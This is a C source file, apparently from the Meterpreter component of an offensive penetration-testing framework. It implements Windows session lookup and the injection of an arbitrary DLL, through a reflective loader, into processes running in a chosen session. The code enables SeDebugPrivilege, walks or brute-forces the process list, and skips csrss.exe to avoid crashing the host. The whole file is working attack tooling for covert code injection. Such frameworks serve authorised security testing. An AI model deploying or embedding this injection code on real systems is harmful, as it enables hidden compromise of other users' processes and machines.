#include "precomp.h" #include "session.h" /* * Returns the session id associated with a process. * Returns -1 if we cant determine the session id (e.g. insufficient privileges). * Returns 0 by default on NT4. */ DWORD session_id( DWORD dwProcessId ) { typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id ); static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL; HMODULE hKernel = NULL; DWORD dwSessionId = 0; do { if( !pProcessIdToSessionId ) { hKernel = LoadLibrary( "kernel32.dll" ); if( hKernel ) pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" ); } if( !pProcessIdToSessionId ) break; if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) ) dwSessionId = -1; } while( 0 ); if( hKernel ) FreeLibrary( hKernel ); return dwSessionId; } /* * Returns the session id attached to the physical console. * Returns 0 by default on NT4 and 2000. */ DWORD session_activeid() { typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID ); static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL; HMODULE hKernel = NULL; DWORD dwSessionId = 0; do { if( !pWTSGetActiveConsoleSessionId ) { hKernel = LoadLibrary( "kernel32.dll" ); if( hKernel ) pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" ); } if( !pWTSGetActiveConsoleSessionId ) break; dwSessionId = pWTSGetActiveConsoleSessionId(); } while( 0 ); if( hKernel ) FreeLibrary( hKernel ); return dwSessionId; } /* * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. */ DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, char * cpCommandLine ) { DWORD dwResult = ERROR_INVALID_HANDLE; DWORD pid = 0; do { for( pid=0 ; pid<0xFFFF ; pid++ ) { HANDLE hProcess = NULL; hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) continue; CloseHandle( hProcess ); if( dwSessionId == session_id( pid ) ) { dwResult = ps_inject( pid, pDllBuffer, reflectiveLoader, cpCommandLine ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid ); break; } } } } while( 0 ); return dwResult; } /* * Inject an arbitrary DLL into a process running in specific Windows session. */ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, char * cpCommandLine ) { DWORD dwResult = ERROR_INVALID_HANDLE; CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL; PROCESS32FIRSTW pProcess32FirstW = NULL; PROCESS32NEXTW pProcess32NextW = NULL; HANDLE hProcessSnap = NULL; HMODULE hKernel = NULL; HANDLE hToken = NULL; BOOL bUseBruteForce = TRUE; PROCESSENTRY32W pe32 = {0}; do { // If we can, get SeDebugPrivilege... if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { TOKEN_PRIVILEGES priv = {0}; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) { if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ); dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" ); } CloseHandle( hToken ); } hKernel = LoadLibrary( "kernel32" ); if( !hKernel ) break; pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" ); pProcess32FirstW = (PROCESS32FIRSTW)GetProcAddress( hKernel, "Process32FirstW" ); pProcess32NextW = (PROCESS32NEXTW)GetProcAddress( hKernel, "Process32NextW" ); if( !pCreateToolhelp32Snapshot || !pProcess32FirstW || !pProcess32NextW ) break; hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) break; pe32.dwSize = sizeof( PROCESSENTRY32W ); if( !pProcess32FirstW( hProcessSnap, &pe32 ) ) break; bUseBruteForce = FALSE; do { if( dwSessionId == session_id( pe32.th32ProcessID ) ) { // On Windows 2008R2 we Blue Screen the box if we inject via APC injection // into the target sessions instance of csrss.exe!!! so we filter it out... if (wcsstr(pe32.szExeFile, L"csrss.exe")) continue; dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer, reflectiveLoader, cpCommandLine ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile ); break; } } } while( pProcess32NextW( hProcessSnap, &pe32 ) ); } while( 0 ); if( hProcessSnap ) CloseHandle( hProcessSnap ); if( hKernel ) FreeLibrary( hKernel ); // On NT4 we must brute force the process list... if( bUseBruteForce ) dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer, reflectiveLoader, cpCommandLine ); return dwResult; }